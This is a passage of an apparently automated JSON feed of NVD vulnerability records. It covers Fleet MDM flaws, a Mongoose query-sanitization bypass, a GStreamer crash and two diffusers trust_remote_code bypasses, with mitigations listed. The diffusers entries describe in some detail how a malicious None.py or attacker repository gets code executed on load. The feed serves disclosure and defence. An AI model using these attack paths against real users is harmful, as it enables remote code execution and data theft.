authenticated request from an enrolled Launcher host. An authenticated attacker with access to any enrolled Launcher node key could cause an immediate and complete denial of service by sending a single gRPC request to the `PublishLogs` endpoint. This vulnerability impacts availability only. There is no exposure of sensitive data, no authentication bypass, no privilege escalation, and no integrity impact. Version 4.81.0 contains a patch. If upgrading immediately is not possible, the following mitigations can reduce exposure.  Restrict network access to the Fleet gRPC endpoint where feasible (for example, limiting inbound access to known host IP ranges); deploy Fleet behind infrastructure that terminates or filters gRPC traffic if Launcher log ingestion is not required; and/or monitor for repeated Fleet process crashes or unexpected restarts indicating potential exploitation.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:02.020Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fleetdm","product":"fleet","stacks":["Fleetdm","fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26062","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26062","type":"primary","publishedAt":"2026-05-14T20:17:02.020Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/fleetdm/fleet/security/advisories/GHSA-x67p-9m2r-fxqv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-24899","cveId":"CVE-2026-24899","aliases":[],"kind":"vulnerability","title":"Fleet is open source device management software.","summary":"Fleet is open source device management software. Prior to version 4.82.0, a vulnerability in Fleet's Windows MDM enrollment flow allows authentication tokens from any Azure AD tenant to be accepted. Because Fleet validates JWT signatures using Microsoft's multi-tenant JWKS endpoint but does not enforce the `aud` (audience) or `iss` (issuer) claims, any Microsoft-signed Azure AD access token containing the expected scopes can be used to authenticate to Fleet's MDM endpoints. If Windows MDM is enabled, an attacker with access to any Azure AD tenant can obtain a valid Microsoft-signed token and use it to enroll unauthorized devices and interact with Fleet's MDM management APIs. During device management, Fleet may expose sensitive enrollment secrets embedded in MDM command payloads, enabling further unauthorized access. Version 4.82.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.","detail":"Fleet is open source device management software. Prior to version 4.82.0, a vulnerability in Fleet's Windows MDM enrollment flow allows authentication tokens from any Azure AD tenant to be accepted. Because Fleet validates JWT signatures using Microsoft's multi-tenant JWKS endpoint but does not enforce the `aud` (audience) or `iss` (issuer) claims, any Microsoft-signed Azure AD access token containing the expected scopes can be used to authenticate to Fleet's MDM endpoints. If Windows MDM is enabled, an attacker with access to any Azure AD tenant can obtain a valid Microsoft-signed token and use it to enroll unauthorized devices and interact with Fleet's MDM management APIs. During device management, Fleet may expose sensitive enrollment secrets embedded in MDM command payloads, enabling further unauthorized access. Version 4.82.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:01.873Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fleetdm","product":"fleet","stacks":["Fleetdm","fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-24899","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-24899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24899","type":"primary","publishedAt":"2026-05-14T20:17:01.873Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/fleetdm/fleet/security/advisories/GHSA-ffg9-j72f-j6xm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23998","cveId":"CVE-2026-23998","aliases":[],"kind":"vulnerability","title":"Fleet is open source device management software.","summary":"Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet’s Windows MDM management endpoint could allow requests to be processed without proper client certificate validation. In certain circumstances, this could allow an attacker to impersonate an enrolled Windows device and retrieve sensitive configuration data. Fleet’s Windows MDM management endpoint relies on mutual TLS (mTLS) client certificates to authenticate enrolled devices. In affected versions, requests that did not present a client certificate could be incorrectly treated as trusted. As a result, an attacker with prior knowledge of a valid enrolled device identifier could potentially impersonate that device and receive configuration payloads intended for it. These payloads may contain sensitive information such as Wi-Fi or VPN configuration data, certificates, or other secrets delivered through MDM profiles. This issue does not allow enrollment of new devices, administrative access to Fleet, or compromise of the Fleet control plane. Impact is limited to the targeted Windows device. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.","detail":"Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet’s Windows MDM management endpoint could allow requests to be processed without proper client certificate validation. In certain circumstances, this could allow an attacker to impersonate an enrolled Windows device and retrieve sensitive configuration data. Fleet’s Windows MDM management endpoint relies on mutual TLS (mTLS) client certificates to authenticate enrolled devices. In affected versions, requests that did not present a client certificate could be incorrectly treated as trusted. As a result, an attacker with prior knowledge of a valid enrolled device identifier could potentially impersonate that device and receive configuration payloads intended for it. These payloads may contain sensitive information such as Wi-Fi or VPN configuration data, certificates, or other secrets delivered through MDM profiles. This issue does not allow enrollment of new devices, administrative access to Fleet, or compromise of the Fleet control plane. Impact is limited to the targeted Windows device. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:30.983Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fleetdm","product":"fleet","stacks":["Fleetdm","fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23998","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23998","type":"primary","publishedAt":"2026-05-14T19:16:30.983Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/fleetdm/fleet/security/advisories/GHSA-2rc4-7jc6-qffh","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6332","cveId":"CVE-2026-6332","aliases":[],"kind":"vulnerability","title":"CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected...","summary":"CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected source code and loss of confidentiality, When an authorized attacker accesses the source code for editing or compiling it.","detail":"CWE-312: Cleartext Storage of Sensitive Information vulnerability exists that could cause the disclosure of a sensitive information  which could result in revealing protected source code and loss of confidentiality, When an authorized attacker accesses the source code for editing or compiling it.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T18:16:51.067Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"schneider-electric","product":"ecostruxure machine expert hvac","stacks":["Schneider-electric","ecostruxure machine expert hvac"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6332","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6332","type":"primary","publishedAt":"2026-05-14T18:16:51.067Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-132-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-132-01.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46470","cveId":"CVE-2026-46470","aliases":[],"kind":"vulnerability","title":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2.","summary":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2. When parsing MP4 audio tracks, the isomp4 plugin's qtdemux_audio_caps function does not sufficiently validate atom data before performing division operations, leading to denial of service due to integer division by zero.","detail":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2. When parsing MP4 audio tracks, the isomp4 plugin's qtdemux_audio_caps function does not sufficiently validate atom data before performing division operations, leading to denial of service due to integer division by zero.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T18:16:50.790Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"freedesktop","product":"gst-plugins-good","stacks":["Freedesktop","gst-plugins-good"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46470","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46470","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46470","type":"primary","publishedAt":"2026-05-14T18:16:50.790Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://gstreamer.freedesktop.org/security/sa-2026-0018.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42334","cveId":"CVE-2026-42334","aliases":[],"kind":"vulnerability","title":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.","summary":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.9, 7.8.9, 8.22.1, and 9.1.6, a vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator. When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be injected inside a $nor clause without being sanitized. This vulnerability is fixed in 6.13.9, 7.8.9, 8.22.1, and 9.1.6.","detail":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.9, 7.8.9, 8.22.1, and 9.1.6, a vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator. When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be injected inside a $nor clause without being sanitized. This vulnerability is fixed in 6.13.9, 7.8.9, 8.22.1, and 9.1.6.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T18:16:47.747Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"mongoosejs","product":"mongoose","stacks":["Mongoosejs","mongoose"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42334","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42334","type":"primary","publishedAt":"2026-05-14T18:16:47.747Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-wpg9-53fq-2r8h","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44827","cveId":"CVE-2026-44827","aliases":[],"kind":"vulnerability","title":"Diffusers is the a library for  pretrained diffusion models.","summary":"Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, diffusers 0.37.0 allows remote code execution without the trust_remote_code=True safeguard when loading pipelines from Hugging Face Hub repositories. The _resolve_custom_pipeline_and_cls function in pipeline_loading_utils.py performs string interpolation on the custom_pipeline parameter using f\"{custom_pipeline}.py\". When custom_pipeline is not supplied by the user, it defaults to None, which Python interpolates as the literal string \"None.py\". If an attacker publishes a Hub repository containing a file named None.py with a class that subclasses DiffusionPipeline, the file is automatically downloaded and executed during a standard DiffusionPipeline.from_pretrained() call with no additional keyword arguments. The trust_remote_code check in DiffusionPipeline.download() is bypassed because it evaluates custom_pipeline is not None as False (since the kwarg was never supplied), while the downstream code path that actually loads the module resolves the None value into a valid filename. An attacker can achieve silent arbitrary code execution by publishing a malicious model repository with a None.py file and a standard-looking model_index.json that references a legitimate pipeline class name, requiring only that a victim calls from_pretrained on the repository. This vulnerability is fixed in 0.38.0.","detail":"Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, diffusers 0.37.0 allows remote code execution without the trust_remote_code=True safeguard when loading pipelines from Hugging Face Hub repositories. The _resolve_custom_pipeline_and_cls function in pipeline_loading_utils.py performs string interpolation on the custom_pipeline parameter using f\"{custom_pipeline}.py\". When custom_pipeline is not supplied by the user, it defaults to None, which Python interpolates as the literal string \"None.py\". If an attacker publishes a Hub repository containing a file named None.py with a class that subclasses DiffusionPipeline, the file is automatically downloaded and executed during a standard DiffusionPipeline.from_pretrained() call with no additional keyword arguments. The trust_remote_code check in DiffusionPipeline.download() is bypassed because it evaluates custom_pipeline is not None as False (since the kwarg was never supplied), while the downstream code path that actually loads the module resolves the None value into a valid filename. An attacker can achieve silent arbitrary code execution by publishing a malicious model repository with a None.py file and a standard-looking model_index.json that references a legitimate pipeline class name, requiring only that a victim calls from_pretrained on the repository. This vulnerability is fixed in 0.38.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T17:16:23.500Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"huggingface","product":"diffusers","stacks":["Huggingface","diffusers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44827","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44827","type":"primary","publishedAt":"2026-05-14T17:16:23.500Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/huggingface/diffusers/security/advisories/GHSA-j7w6-vpvq-j3gm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44513","cveId":"CVE-2026-44513","aliases":[],"kind":"vulnerability","title":"Diffusers is the a library for  pretrained diffusion models.","summary":"Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.","detail":"Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T17:16:22.903Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"huggingface","product":"diffusers","stacks":["Huggingface","diffusers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44513","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44513","type":"primary","publishedAt":"2026-05-14T17:16:22.903Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 